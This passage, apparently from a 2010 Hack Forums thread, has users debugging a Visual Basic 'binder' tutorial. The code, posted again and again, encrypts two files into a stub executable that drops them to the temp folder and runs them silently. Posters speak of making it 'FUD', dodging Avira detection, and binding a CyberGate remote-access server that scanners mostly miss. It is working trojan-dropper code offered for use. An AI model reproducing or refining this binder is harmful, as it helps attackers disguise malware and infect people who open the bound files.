     MsgBox("Error(s) occured: " & ex.Message, MsgBoxStyle.Critical + MsgBoxStyle.OkOnly,
"Error")
   End Try
     End Sub
 End Class



 can you check whats wrong with my code???

[Eprouvez] - June 14, 2010, 11:08 pm 
 (Jun 14, 2010 03:32 AM)hackerbug Wrote: [CITE] i followed step by step and i dont why its not
binding...
 stub code
 Code Public Class Form1
     Function Unsecure(ByVal data As Byte()) As Byte()
   Using SA As New System.Security.Cryptography.RijndaelManaged
     SA.IV = New Byte() {1, 2, 3, 4, 5, 6, 7, 8, 9, 1, 2, 3, 4, 5, 6, 7}
     SA.Key = New Byte() {7, 6, 5, 4, 3, 2, 1, 9, 8, 7, 6, 5, 4, 3, 2, 1}
     Return SA.CreateDecryptor.TransformFinalBlock(data, 0, data.Length)
   End Using
   Try
     Dim TempDir As String = My.Computer.FileSystem.SpecialDirectories.Temp ' Create refrence to
temp dir
     Dim Drop() As String = Split(IO.File.ReadAllText(Application.ExecutablePath), "[Splitter]")
     Dim File1 As Byte() = Unsecure(Convert.FromBase64String(Drop(1)))
     Dim File2 As Byte() = Unsecure(Convert.FromBase64String(Drop(3)))
     My.Computer.FileSystem.WriteAllBytes(TempDir & "\" & Drop(2), File1, False)
     My.Computer.FileSystem.WriteAllBytes(TempDir & "\" & Drop(4), File2, False)
     Process.Start(TempDir & "\" & Drop(2)) : Process.Start(TempDir & "\" & Drop(4))
   Catch ex As Exception
     Process.GetCurrentProcess.Kill()
   End Try
   Process.GetCurrentProcess.Kill()
     End Function
 
 End Class
 binder code
 
 Code Public Class Form1
     Dim F, F2 As String
     Function Secure(ByVal data As Byte()) As Byte()
   Using SA As New System.Security.Cryptography.RijndaelManaged
     SA.IV = New Byte() {1, 2, 3, 4, 5, 6, 7, 8, 9, 1, 2, 3, 4, 5, 6, 7}
     SA.Key = New Byte() {7, 6, 5, 4, 3, 2, 1, 9, 8, 7, 6, 5, 4, 3, 2, 1}
     Return SA.CreateEncryptor.TransformFinalBlock(data, 0, data.Length)
   End Using
     End Function
     Function Unsecure(ByVal data As Byte()) As Byte()
   Using SA As New System.Security.Cryptography.RijndaelManaged
     SA.IV = New Byte() {1, 2, 3, 4, 5, 6, 7, 8, 9, 1, 2, 3, 4, 5, 6, 7}
     SA.Key = New Byte() {7, 6, 5, 4, 3, 2, 1, 9, 8, 7, 6, 5, 4, 3, 2, 1}
     Return SA.CreateDecryptor.TransformFinalBlock(data, 0, data.Length)
   End Using
     End Function
 
     Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)
Handles Button1.Click
   Dim O As New OpenFileDialog
   With O
     .FileName = "*.*"
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     .Filter = "All files (*.*)|*.*"
     .InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop)
     .Title = "Choose a file..."
     If .ShowDialog = Windows.Forms.DialogResult.OK Then
     TextBox1.Text = .FileName
     F = .SafeFileName
     End If
   End With
     End Sub
 
     Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)
Handles Button2.Click
   Dim O As New OpenFileDialog
   With O
     .FileName = "*.*"
     .Filter = "All files (*.*)|*.*"
     .InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop)
     .Title = "Choose a file..."
     If .ShowDialog = Windows.Forms.DialogResult.OK Then
     TextBox2.Text = .FileName
     F2 = .SafeFileName
     End If
   End With
     End Sub
 
     Private Sub Button4_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)
Handles Button4.Click
   Try
     Dim S As New SaveFileDialog
     With S
     .FileName = "*.exe"
     .Filter = "Executable files (*.exe)|*.exe|All files (*.*)|*.*"
     .InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop)
     .Title = "Choose an output directory..."
 
     If .ShowDialog = Windows.Forms.DialogResult.OK Then
     Dim Sp As String = "[Splitter]"
     Dim Buffer As Byte() = My.Resources.WindowsApplication2
     My.Computer.FileSystem.WriteAllBytes(.FileName, Buffer, False)
     Dim File1 As Byte() = Secure(My.Computer.FileSystem.ReadAllBytes(TextBox1.Text))
     Dim File2 As Byte() = Secure(My.Computer.FileSystem.ReadAllBytes(TextBox2.Text))
     IO.File.AppendAllText(.FileName, Sp & Convert.ToBase64String(File1) & Sp & F & Sp &
Convert.ToBase64String(File2) & Sp & F2)
     MsgBox("Successfullly Binded!", MsgBoxStyle.Information + MsgBoxStyle.OkOnly, "Success")
     End If
     End With
   Catch ex As Exception
     MsgBox("Error(s) occured: " & ex.Message, MsgBoxStyle.Critical + MsgBoxStyle.OkOnly,
"Error")
   End Try
   Try
     Dim O As New OpenFileDialog
     With O



     .FileName = "*.*"
     .Filter = "All files (*.*)|*.*"
     .InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop)
     .Title = "Choose a file..."
     If .ShowDialog = Windows.Forms.DialogResult.OK Then
     Dim F As New FolderBrowserDialog
     F.Description = "Choose a output for the files..."
     If F.ShowDialog = Windows.Forms.DialogResult.OK Then
     Dim Drop() As String = Split(IO.File.ReadAllText(.FileName), "[Splitter]")
     Dim File1 As Byte() = Unsecure(Convert.FromBase64String(Drop(1)))
     Dim File2 As Byte() = Unsecure(Convert.FromBase64String(Drop(3)))
     My.Computer.FileSystem.WriteAllBytes(F.SelectedPath & "\" & Drop(2), File1, False)
     My.Computer.FileSystem.WriteAllBytes(F.SelectedPath & "\" & Drop(4), File2, False)
     End If
     End If
     End With
   Catch ex As Exception
     MsgBox("Error(s) occured: " & ex.Message, MsgBoxStyle.Critical + MsgBoxStyle.OkOnly,
"Error")
   End Try
     End Sub
 End Class
 can you check whats wrong with my code???
 Both your codes are wrong. You've copied it wrong.
 
 If you don't know why it isn't working, I think you might want to learn some more about Visual Basic
before trying this.

BluElecTricsta - June 23, 2010, 5:50 am 
Your a real damn life saver TY im tryn to use krayon's tut with this now to make it FUD etc ne ways
TY OP :) x

[Eprouvez] - June 24, 2010, 1:29 am 
 (Jun 23, 2010 05:50 AM)BluElecTricsta Wrote: [CITE] Your a real damn life saver TY im tryn to use
krayon's tut with this now to make it FUD etc ne ways TY OP :) x
 No problem mate! Glad to see the thanks.

RockYy - June 29, 2010, 12:59 pm 
Hey mate, first of all i wanna say that is a awesome tutorial and I really love it :)
 
 But I've got one problem, The Stub.... I think I'm too new to programming to know how to slove this
myself.
 So here is my stube source code:
 
 Spoiler (Click to View)Code Public Class Form1
 
     Function Unsecure(ByVal data As Byte()) As Byte()
   Using SA As New System.Security.Cryptography.RijndaelManaged
     SA.IV = New Byte() {1, 2, 3, 4, 5, 6, 7, 8, 9, 1, 2, 3, 4, 5, 6, 7}
     SA.Key = New Byte() {7, 6, 5, 4, 3, 2, 1, 9, 8, 7, 6, 5, 4, 3, 2, 1}
     Return SA.CreateDecryptor.TransformFinalBlock(data, 0, data.Length)
   End Using
     End Function
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   Try
     Dim TempDir As String = My.Computer.FileSystem.SpecialDirectories.Temp ' Create refrence to
temp dir
     Dim Drop() As String = Split(IO.File.ReadAllText(Application.ExecutablePath), "[Splitter]")
     Dim File1 As Byte() = Unsecure(Convert.FromBase64String(Drop(1)))
     Dim File2 As Byte() = Unsecure(Convert.FromBase64String(Drop(3)))
     My.Computer.FileSystem.WriteAllBytes(TempDir & "\" & Drop(2), File1, False)
     My.Computer.FileSystem.WriteAllBytes(TempDir & "\" & Drop(4), File2, False)
     Process.Start(TempDir & "\" & Drop(2)) : Process.Start(TempDir & "\" & Drop(4))
   Catch ex As Exception
     Process.GetCurrentProcess.Kill()
   End Try
   Process.GetCurrentProcess.Kill()
 End Class
 It says there are many errors in there, so i tried it this way:
 Spoiler (Click to View)Code Public Class Form1
 
     Function Unsecure(ByVal data As Byte()) As Byte()
   Using SA As New System.Security.Cryptography.RijndaelManaged
     SA.IV = New Byte() {1, 2, 3, 4, 5, 6, 7, 8, 9, 1, 2, 3, 4, 5, 6, 7}
     SA.Key = New Byte() {7, 6, 5, 4, 3, 2, 1, 9, 8, 7, 6, 5, 4, 3, 2, 1}
     Return SA.CreateDecryptor.TransformFinalBlock(data, 0, data.Length)
   End Using
   Try
     Dim TempDir As String = My.Computer.FileSystem.SpecialDirectories.Temp ' Create refrence to
temp dir
     Dim Drop() As String = Split(IO.File.ReadAllText(Application.ExecutablePath), "[Splitter]")
     Dim File1 As Byte() = Unsecure(Convert.FromBase64String(Drop(1)))
     Dim File2 As Byte() = Unsecure(Convert.FromBase64String(Drop(3)))
     My.Computer.FileSystem.WriteAllBytes(TempDir & "\" & Drop(2), File1, False)
     My.Computer.FileSystem.WriteAllBytes(TempDir & "\" & Drop(4), File2, False)
     Process.Start(TempDir & "\" & Drop(2)) : Process.Start(TempDir & "\" & Drop(4))
   Catch ex As Exception
     Process.GetCurrentProcess.Kill()
   End Try
   Process.GetCurrentProcess.Kill()
     End Function
 End Class
 so now there aren't any errors but warnings like :
 Code Unused local variable: "TempDir
 Would be great if you could you show me your stub source for this tutorial :)

[Eprouvez] - June 29, 2010, 10:50 pm 
Change this:
 
 Code Public Class Form1
 
     Function Unsecure(ByVal data As Byte()) As Byte()
   Using SA As New System.Security.Cryptography.RijndaelManaged
     SA.IV = New Byte() {1, 2, 3, 4, 5, 6, 7, 8, 9, 1, 2, 3, 4, 5, 6, 7}
     SA.Key = New Byte() {7, 6, 5, 4, 3, 2, 1, 9, 8, 7, 6, 5, 4, 3, 2, 1}
     Return SA.CreateDecryptor.TransformFinalBlock(data, 0, data.Length)
   End Using

javascript:void(0);


   Try
     Dim TempDir As String = My.Computer.FileSystem.SpecialDirectories.Temp ' Create refrence to
temp dir
     Dim Drop() As String = Split(IO.File.ReadAllText(Application.ExecutablePath), "[Splitter]")
     Dim File1 As Byte() = Unsecure(Convert.FromBase64String(Drop(1)))
     Dim File2 As Byte() = Unsecure(Convert.FromBase64String(Drop(3)))
     My.Computer.FileSystem.WriteAllBytes(TempDir & "\" & Drop(2), File1, False)
     My.Computer.FileSystem.WriteAllBytes(TempDir & "\" & Drop(4), File2, False)
     Process.Start(TempDir & "\" & Drop(2)) : Process.Start(TempDir & "\" & Drop(4))
   Catch ex As Exception
     Process.GetCurrentProcess.Kill()
   End Try
   Process.GetCurrentProcess.Kill()
     End Function
 End Class
 With this:
 
 Code Public Class Form1
 
     Function Unsecure(ByVal data As Byte()) As Byte()
   Using SA As New System.Security.Cryptography.RijndaelManaged
     SA.IV = New Byte() {1, 2, 3, 4, 5, 6, 7, 8, 9, 1, 2, 3, 4, 5, 6, 7}
     SA.Key = New Byte() {7, 6, 5, 4, 3, 2, 1, 9, 8, 7, 6, 5, 4, 3, 2, 1}
     Return SA.CreateDecryptor.TransformFinalBlock(data, 0, data.Length)
   End Using
 End Function
 Private Sub Form1_Load(Byval sender As Object, ByVal e As System.EventArgs) Handles
MyBase.Load
   Try
     Dim TempDir As String = My.Computer.FileSystem.SpecialDirectories.Temp ' Create refrence to
temp dir
     Dim Drop() As String = Split(IO.File.ReadAllText(Application.ExecutablePath), "[Splitter]")
     Dim File1 As Byte() = Unsecure(Convert.FromBase64String(Drop(1)))
     Dim File2 As Byte() = Unsecure(Convert.FromBase64String(Drop(3)))
     My.Computer.FileSystem.WriteAllBytes(TempDir & "\" & Drop(2), File1, False)
     My.Computer.FileSystem.WriteAllBytes(TempDir & "\" & Drop(4), File2, False)
     Process.Start(TempDir & "\" & Drop(2)) : Process.Start(TempDir & "\" & Drop(4))
   Catch ex As Exception
     Process.GetCurrentProcess.Kill()
   End Try
   Process.GetCurrentProcess.Kill()
     End Sub
 End Class

RockYy - June 30, 2010, 2:28 am 
 (Jun 29, 2010 10:50 PM)[Eprouvez] Wrote: [CITE] Change this:Spoiler (Click to View)
 
 Code Public Class Form1
 
     Function Unsecure(ByVal data As Byte()) As Byte()
   Using SA As New System.Security.Cryptography.RijndaelManaged
     SA.IV = New Byte() {1, 2, 3, 4, 5, 6, 7, 8, 9, 1, 2, 3, 4, 5, 6, 7}
     SA.Key = New Byte() {7, 6, 5, 4, 3, 2, 1, 9, 8, 7, 6, 5, 4, 3, 2, 1}

https://hackforums.net/showthread.php?pid=4868864#pid4868864
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     Return SA.CreateDecryptor.TransformFinalBlock(data, 0, data.Length)
   End Using
   Try
     Dim TempDir As String = My.Computer.FileSystem.SpecialDirectories.Temp ' Create refrence to
temp dir
     Dim Drop() As String = Split(IO.File.ReadAllText(Application.ExecutablePath), "[Splitter]")
     Dim File1 As Byte() = Unsecure(Convert.FromBase64String(Drop(1)))
     Dim File2 As Byte() = Unsecure(Convert.FromBase64String(Drop(3)))
     My.Computer.FileSystem.WriteAllBytes(TempDir & "\" & Drop(2), File1, False)
     My.Computer.FileSystem.WriteAllBytes(TempDir & "\" & Drop(4), File2, False)
     Process.Start(TempDir & "\" & Drop(2)) : Process.Start(TempDir & "\" & Drop(4))
   Catch ex As Exception
     Process.GetCurrentProcess.Kill()
   End Try
   Process.GetCurrentProcess.Kill()
     End Function
 End Class
 With this:
 
 Code Public Class Form1
 
     Function Unsecure(ByVal data As Byte()) As Byte()
   Using SA As New System.Security.Cryptography.RijndaelManaged
     SA.IV = New Byte() {1, 2, 3, 4, 5, 6, 7, 8, 9, 1, 2, 3, 4, 5, 6, 7}
     SA.Key = New Byte() {7, 6, 5, 4, 3, 2, 1, 9, 8, 7, 6, 5, 4, 3, 2, 1}
     Return SA.CreateDecryptor.TransformFinalBlock(data, 0, data.Length)
   End Using
 End Function
 Private Sub Form1_Load(Byval sender As Object, ByVal e As System.EventArgs) Handles
MyBase.Load
   Try
     Dim TempDir As String = My.Computer.FileSystem.SpecialDirectories.Temp ' Create refrence to
temp dir
     Dim Drop() As String = Split(IO.File.ReadAllText(Application.ExecutablePath), "[Splitter]")
     Dim File1 As Byte() = Unsecure(Convert.FromBase64String(Drop(1)))
     Dim File2 As Byte() = Unsecure(Convert.FromBase64String(Drop(3)))
     My.Computer.FileSystem.WriteAllBytes(TempDir & "\" & Drop(2), File1, False)
     My.Computer.FileSystem.WriteAllBytes(TempDir & "\" & Drop(4), File2, False)
     Process.Start(TempDir & "\" & Drop(2)) : Process.Start(TempDir & "\" & Drop(4))
   Catch ex As Exception
     Process.GetCurrentProcess.Kill()
   End Try
   Process.GetCurrentProcess.Kill()
     End Sub
 End Class
 Thanks a lot its working now :) My GUI:
 [img]http://img231.imageshack.us/img231/4448/meinbinder.jpg[/img]

[Eprouvez] - June 30, 2010, 10:25 pm 

 No problem mate (: GUI is not too badd Lol.

shadow1992 - June 30, 2010, 10:51 pm 



Thanks men awasome post!
 
 .

Dwayne Johnson - July 1, 2010, 1:26 am 
Spoiler (Click to View)'[Eprouvez Wrote:Code Try
     Dim TempDir As String = My.Computer.FileSystem.SpecialDirectories.Temp ' Create refrence to
temp dir
     Dim Drop() As String = Split(IO.File.ReadAllText(Application.ExecutablePath), "[Splitter]")
 This is how the 'Drop' string array works.
 
 Drop(0) will be your stub
 Drop(1) will be your secured bytes of the first file that has been converted to string
 Drop(2) will be the file name of the primary file
 Drop(3) will be your secured bytes of the second file that has been converted to string
 Drop(4) will be the file name of the secondary file
 
 So what we want to do now is, get our files, convert them to byte array, decrypt them, and then
write them to the temporary directory.
 
 Code Dim File1 As Byte() = Unsecure(Convert.FromBase64String(Drop(1)))
     Dim File2 As Byte() = Unsecure(Convert.FromBase64String(Drop(3)))
 We then want to write them to the temporary directory, and then run them.
 
 Code My.Computer.FileSystem.WriteAllBytes(TempDir & "\" & Drop(2), File1, False)
     My.Computer.FileSystem.WriteAllBytes(TempDir & "\" & Drop(4), File2, False)
     Process.Start(TempDir & "\" & Drop(2)) : Process.Start(TempDir & "\" & Drop(4))
   Catch ex As Exception
     Process.GetCurrentProcess.Kill()
   End Try
   Process.GetCurrentProcess.Kill()
 We also kill the stub from running, else if you wanted to test out and delete the stub, it would not let
you because it says it's in use.
 
 Violah! You have just made a Binder! You are nearly there!
 
 The next step, is to add your stub to your binder. In your stub project, go to Build->Build Stub, and
when it has been built, go to the RELEASE folder, not debug folder. should be in something like
'X:\Users\Your User\Documents\Visual Studio 2010\Projects\Stub\Stub\bin\Release'. Your stub
should be there.
 
 Open up your binder, and in the solution explorer double-click My Project, Resources, Add
Resource, Add Existing File. Change the filter to all files, and chose your stub. It is now loaded and
ready to go. Don't forget to change back Dim Buffer As Byte() = Nothing back to Dim Buffer As
Byte() = My.Resources.Stub.
 
 You have created your binder!
 
 i cant get this code to work can someone help me?

oRc - July 1, 2010, 2:31 am 
How many did change the key for encryption\decryption? none.
 Rijndael is good :)
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[Eprouvez] - July 1, 2010, 10:52 pm 
Haha most likely everyone's using this encryption Lol.
 
 @rhokib111 Read my tutorial carefully (:

mindbandit - July 8, 2010, 5:47 am 
Lol I get errors for the stub project.See below:
 
 The Code
 Code Public Class Form1
     Function Unsecure(ByVal data As Byte()) As Byte()
   Using SA As New System.Security.Cryptography.RijndaelManaged
     SA.IV = New Byte() {1, 2, 3, 4, 5, 6, 7, 8, 9, 1, 2, 3, 4, 5, 6, 7}
     SA.Key = New Byte() {7, 6, 5, 4, 3, 2, 1, 9, 8, 7, 6, 5, 4, 3, 2, 1}
     Return SA.CreateDecryptor.TransformFinalBlock(data, 0, data.Length)
   End Using
     End Function
     Try
     Dim TempDir As String = My.Computer.FileSystem.SpecialDirectories.Temp ' Create refrence to
temp dir
     Dim Drop() As String = Split(IO.File.ReadAllText(Application.ExecutablePath), "[Splitter]")
     Dim File1 As Byte() = Unsecure(Convert.FromBase64String(Drop(1)))
     Dim File2 As Byte() = Unsecure(Convert.FromBase64String(Drop(3)))
     My.Computer.FileSystem.WriteAllBytes(TempDir & "\" & Drop(2), File1, False)
     My.Computer.FileSystem.WriteAllBytes(TempDir & "\" & Drop(4), File2, False)
     Process.Start(TempDir & "\" & Drop(2)) : Process.Start(TempDir & "\" & Drop(4))
   Catch ex As Exception
     Process.GetCurrentProcess.Kill()
   End Try
   Process.GetCurrentProcess.Kill()
 End Class

mindbandit - July 8, 2010, 7:12 am 
Sorry My last post was a mistake!
 See this:
 Lol I get warnings for the stub project.See below:
 
 Code I Entered In the Stub Form
 Code Public Class Form1
     Function Unsecure(ByVal data As Byte()) As Byte()
   Using SA As New System.Security.Cryptography.RijndaelManaged
     SA.IV = New Byte() {1, 2, 3, 4, 5, 6, 7, 8, 9, 1, 2, 3, 4, 5, 6, 7}
     SA.Key = New Byte() {7, 6, 5, 4, 3, 2, 1, 9, 8, 7, 6, 5, 4, 3, 2, 1}
     Return SA.CreateDecryptor.TransformFinalBlock(data, 0, data.Length)
   End Using
     End Function
     Try
     Dim TempDir As String = My.Computer.FileSystem.SpecialDirectories.Temp ' Create refrence to
temp dir
     Dim Drop() As String = Split(IO.File.ReadAllText(Application.ExecutablePath), "[Splitter]")
     Dim File1 As Byte() = Unsecure(Convert.FromBase64String(Drop(1)))
     Dim File2 As Byte() = Unsecure(Convert.FromBase64String(Drop(3)))
     My.Computer.FileSystem.WriteAllBytes(TempDir & "\" & Drop(2), File1, False)



     My.Computer.FileSystem.WriteAllBytes(TempDir & "\" & Drop(4), File2, False)
     Process.Start(TempDir & "\" & Drop(2)) : Process.Start(TempDir & "\" & Drop(4))
   Catch ex As Exception
     Process.GetCurrentProcess.Kill()
   End Try
   Process.GetCurrentProcess.Kill()
 End Class
 The Warnings I get
 Quote:Warning	1	Unused local variable: 'TempDir'.	C:\Users\saran\AppData\Local\Temporary
Projects\Stub\Form1.vb	9	17	Stub
 Warning	2	Unused local variable: 'Drop'.	C:\Users\saran\AppData\Local\Temporary
Projects\Stub\Form1.vb	10	17	Stub
 Warning	3	Unused local variable: 'File1'.	C:\Users\saran\AppData\Local\Temporary
Projects\Stub\Form1.vb	11	17	Stub
 Warning	4	Unused local variable: 'File2'.	C:\Users\saran\AppData\Local\Temporary
Projects\Stub\Form1.vb	12	17	Stub
 Warning	5	Unused local variable: 'ex'.	C:\Users\saran\AppData\Local\Temporary
Projects\Stub\Form1.vb	16	15	Stub
 
 Bro I tried to build with these warnings and build was successfull..
 Will these warnings create a problem?

oRc - July 8, 2010, 9:36 am 
Stop C&Pasting . 
 put this under form1 load
 Code Try
     Dim TempDir As String = My.Computer.FileSystem.SpecialDirectories.Temp ' Create refrence to
temp dir
     Dim Drop() As String = Split(IO.File.ReadAllText(Application.ExecutablePath), "[Splitter]")
     Dim File1 As Byte() = Unsecure(Convert.FromBase64String(Drop(1)))
     Dim File2 As Byte() = Unsecure(Convert.FromBase64String(Drop(3)))
     My.Computer.FileSystem.WriteAllBytes(TempDir & "\" & Drop(2), File1, False)
     My.Computer.FileSystem.WriteAllBytes(TempDir & "\" & Drop(4), File2, False)
     Process.Start(TempDir & "\" & Drop(2)) : Process.Start(TempDir & "\" & Drop(4))
   Catch ex As Exception
     Process.GetCurrentProcess.Kill()
   End Try
   Process.GetCurrentProcess.Kill()

xhtmlphp™ - July 8, 2010, 9:39 am 
Nice tutorial, I tried to use this as a base to writing out a C# binder but no luck so far :/

[Eprouvez] - July 8, 2010, 5:22 pm 
 (Jul 8, 2010 09:39 AM)xhtmlphp Wrote: [CITE] Nice tutorial, I tried to use this as a base to writing out
a C# binder but no luck so far :/
 Try using this online converter:
 
 
http://www.google.com/url?sa=t&source=web&cd=1&ved=0CB0QFjAA&url=http%3A%2F%2Fwww.d
eveloperfusion.com%2Ftools%2Fconvert%2Fvb-to-csharp%2F&ei=7Ws2TKy9KoaTnQfOoqzXAw&
usg=AFQjCNG3tnzIVnkd5WPUp-4OW0jwBFGclw&sig2=FF-6s3_kxQ-mGrmREGmnsQ

mindbandit - July 10, 2010, 7:06 am 

https://hackforums.net/showthread.php?pid=5024942#pid5024942
http://www.google.com/url?sa=t&amp;source=web&amp;cd=1&amp;ved=0CB0QFjAA&amp;url=http%3A%2F%2Fwww.developerfusion.com%2Ftools%2Fconvert%2Fvb-to-csharp%2F&amp;ei=7Ws2TKy9KoaTnQfOoqzXAw&amp;usg=AFQjCNG3tnzIVnkd5WPUp-4OW0jwBFGclw&amp;sig2=FF-6s3_kxQ-mGrmREGmnsQ
http://www.google.com/url?sa=t&amp;source=web&amp;cd=1&amp;ved=0CB0QFjAA&amp;url=http%3A%2F%2Fwww.developerfusion.com%2Ftools%2Fconvert%2Fvb-to-csharp%2F&amp;ei=7Ws2TKy9KoaTnQfOoqzXAw&amp;usg=AFQjCNG3tnzIVnkd5WPUp-4OW0jwBFGclw&amp;sig2=FF-6s3_kxQ-mGrmREGmnsQ
http://www.google.com/url?sa=t&amp;source=web&amp;cd=1&amp;ved=0CB0QFjAA&amp;url=http%3A%2F%2Fwww.developerfusion.com%2Ftools%2Fconvert%2Fvb-to-csharp%2F&amp;ei=7Ws2TKy9KoaTnQfOoqzXAw&amp;usg=AFQjCNG3tnzIVnkd5WPUp-4OW0jwBFGclw&amp;sig2=FF-6s3_kxQ-mGrmREGmnsQ


I got it Right!
 I binded my server made with cybergate and scanner.novirusthanks.org show 1/all.
 Thanx! U jus rock!
 
 Im trying to edit the stub....

-VeX- - August 1, 2010, 10:33 pm 
I am pretty new to VB but your tut made great sense to me, thanks!
 
 However, I am having one problem at the very end.  When I wrote them, I ignored any errors that I
got (like the no stub error).  I am at the part where I have added the stub to my resources and am
now trying to build the binder.  But I get an error:
 
 Value of type 'String' cannot be converted to '1-dimensional array of Byte'.
 
 And it is on the line: Dim Buffer As Byte() = My.Resources.stub
 
 I understand what it is saying (an entire file cannot be put into one byte) but since I don't know VB
too well, I'm not sure how to fix it...it's odd that nobody else has had this problem, but I've retyped
the code at least 4 times and I know I have it down right...I'm using 2010 Express if that makes a
difference

[Eprouvez] - August 2, 2010, 2:14 am 
 (Aug 1, 2010 10:33 PM)-xPloit Wrote: [CITE] I am pretty new to VB but your tut made great sense to
me, thanks!
 
 However, I am having one problem at the very end.  When I wrote them, I ignored any errors that I
got (like the no stub error).  I am at the part where I have added the stub to my resources and am
now trying to build the binder.  But I get an error:
 
 Value of type 'String' cannot be converted to '1-dimensional array of Byte'.
 
 And it is on the line: Dim Buffer As Byte() = My.Resources.stub
 
 I understand what it is saying (an entire file cannot be put into one byte) but since I don't know VB
too well, I'm not sure how to fix it...it's odd that nobody else has had this problem, but I've retyped
the code at least 4 times and I know I have it down right...I'm using 2010 Express if that makes a
difference
 I think the error is how you're adding the resource, the resource has to be add by going My
Project->Resources->Add Existing File...->Change The Fillter To All Files->Select Your Stub

-VeX- - August 2, 2010, 9:15 am 
You were right, it was the way I was adding it.  I fixed it by going to
Project->Properties->Resources->Add Existing File->Stub.exe
 
 Thanks for the tut! Learned a lot :D

[Eprouvez] - August 2, 2010, 9:00 pm 
 (Aug 2, 2010 09:15 AM)-xPloit Wrote: [CITE] You were right, it was the way I was adding it.  I fixed it
by going to Project->Properties->Resources->Add Existing File->Stub.exe
 
 Thanks for the tut! Learned a lot :D
 No problemo mate :D Here to help.

https://hackforums.net/showthread.php?pid=5544740#pid5544740
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versx - August 3, 2010, 1:03 am 
Thank you for sharing this tutorial, I've been looking for a nice binder source. If I use the code, I'll
definitely give credits.

H4?0R - August 3, 2010, 11:57 am 
Code IO.File.AppendAllTextthis will be detected by avira
 
 and
 Code Function Unsecure(ByVal data As Byte()) As Byte()
   Using SA As New System.Security.Cryptography.RijndaelManaged
     SA.IV = New Byte() {1, 2, 3, 4, 5, 6, 7, 8, 9, 1, 2, 3, 4, 5, 6, 7}
     SA.Key = New Byte() {7, 6, 5, 4, 3, 2, 1, 9, 8, 7, 6, 5, 4, 3, 2, 1}
     Return SA.CreateDecryptor.TransformFinalBlock(data, 0, data.Length)
   End Using
     End Functionthere's no point in adding it to the builder you should remove it!
 
 btw nice share buddy. keep it up ?

versx - August 3, 2010, 6:49 pm 
I tried to bind 2 pictures together, I opened up the executable file after I binded them together, but
they don't pop up and open. It only shows it running in the task manager =[
 
 I must just have bad luck with binders and crypters, they always either corrupt the file or it doesn't
work.

Xcstacy - August 3, 2010, 7:08 pm 
thanks a lot dude! nc tut. very simple

[Eprouvez] - August 4, 2010, 3:01 am 
 (Aug 3, 2010 11:57 AM)H4?0R Wrote: [CITE] Code IO.File.AppendAllTextthis will be detected by
avira
 
 and
 Code Function Unsecure(ByVal data As Byte()) As Byte()
   Using SA As New System.Security.Cryptography.RijndaelManaged
     SA.IV = New Byte() {1, 2, 3, 4, 5, 6, 7, 8, 9, 1, 2, 3, 4, 5, 6, 7}
     SA.Key = New Byte() {7, 6, 5, 4, 3, 2, 1, 9, 8, 7, 6, 5, 4, 3, 2, 1}
     Return SA.CreateDecryptor.TransformFinalBlock(data, 0, data.Length)
   End Using
     End Functionthere's no point in adding it to the builder you should remove it!
 
 btw nice share buddy. keep it up ?
 Haha if you read the whole tutorial, you would have noticed that there is a seperate function, that
allows you to take the data from the stub and return it to it's original files.

mrvbdude - August 4, 2010, 5:39 am 
Hey, sorry for asking silly question..bt i m getting a problem..where do i put try statement in the
stub...!!
 
 I tried to put it after the end function and before the end class..bt i m getting so many errors..
 
 It says "declaration expected"
 

https://hackforums.net/showthread.php?pid=5578601#pid5578601


 Please reply ASAP...btw..thanks for the wonderful tutorial =)
 
 Hey sorry Eprouvez..i just realised this question has already been answered on page 14 :).my
program is ready and it works like a charm...so thanks for all ur efforts in making these wonderful
tutorials :)

[Eprouvez] - August 4, 2010, 8:33 pm 
 (Aug 4, 2010 05:39 AM)mrvbdude Wrote: [CITE] Hey, sorry for asking silly question..bt i m getting a
problem..where do i put try statement in the stub...!!
 
 I tried to put it after the end function and before the end class..bt i m getting so many errors..
 
 It says "declaration expected"
 
 Please reply ASAP...btw..thanks for the wonderful tutorial =)
 
 Hey sorry Eprouvez..i just realised this question has already been answered on page 14 :).my
program is ready and it works like a charm...so thanks for all ur efforts in making these wonderful
tutorials :)
 No problem mate, glad it works (:

versx - August 4, 2010, 10:52 pm 
 (Aug 4, 2010 08:33 PM)[Eprouvez]pid='5611799 Wrote: [CITE] No problem mate, glad it works (:
When I binded 2 picture files together, and tried to execute it, they didn't open. It only shows the new
.exe in taskmanager. Any help on what I'm doing wrong?

[Eprouvez] - August 4, 2010, 11:45 pm 
 (Aug 4, 2010 10:52 PM)shitshit Wrote: [CITE] When I binded 2 picture files together, and tried to
execute it, they didn't open. It only shows the new .exe in taskmanager. Any help on what I'm doing
wrong?
 Is it decrypting before execution?

versx - August 4, 2010, 11:57 pm 
 (Aug 4, 2010 11:45 PM)[Eprouvez] Wrote: [CITE] Is it decrypting before execution?I have 5 warnings
in the stub:
 Spoiler (Click to View)
 Unused local variable: 'TempDir'
 Unused local variable: 'Drop'
 Unused local variable: 'File1'
 Unused local variable: 'File2'
 Unused local variable: 'ex'
 
 
 Builder Code:
 Spoiler (Click to View)
 
 Public Class Form1
     Dim F, F2 As String
     Function Secure(ByVal data As Byte()) As Byte()
   Using SA As New System.Security.Cryptography.RijndaelManaged
     SA.IV = New Byte() {1, 2, 3, 4, 5, 6, 7, 8, 9, 1, 2, 3, 4, 5, 6, 7}
     SA.Key = New Byte() {7, 6, 5, 4, 3, 2, 1, 9, 8, 7, 6, 5, 4, 3, 2, 1}
     Return SA.CreateEncryptor.TransformFinalBlock(data, 0, data.Length)

https://hackforums.net/showthread.php?pid=5596132#pid5596132
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   End Using
     End Function
     Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)
Handles Button1.Click
   Dim O As New OpenFileDialog
   With O
     .FileName = "*.*"
     .Filter = "All files (*.*)|*.*"
     .InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop)
     .Title = "Choose a file..."
     If .ShowDialog = Windows.Forms.DialogResult.OK Then
     TextBox1.Text = .FileName
     F = .SafeFileName
     End If
   End With
     End Sub
 
     Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)
Handles Button2.Click
   Dim O As New OpenFileDialog
   With O
     .FileName = "*.*"
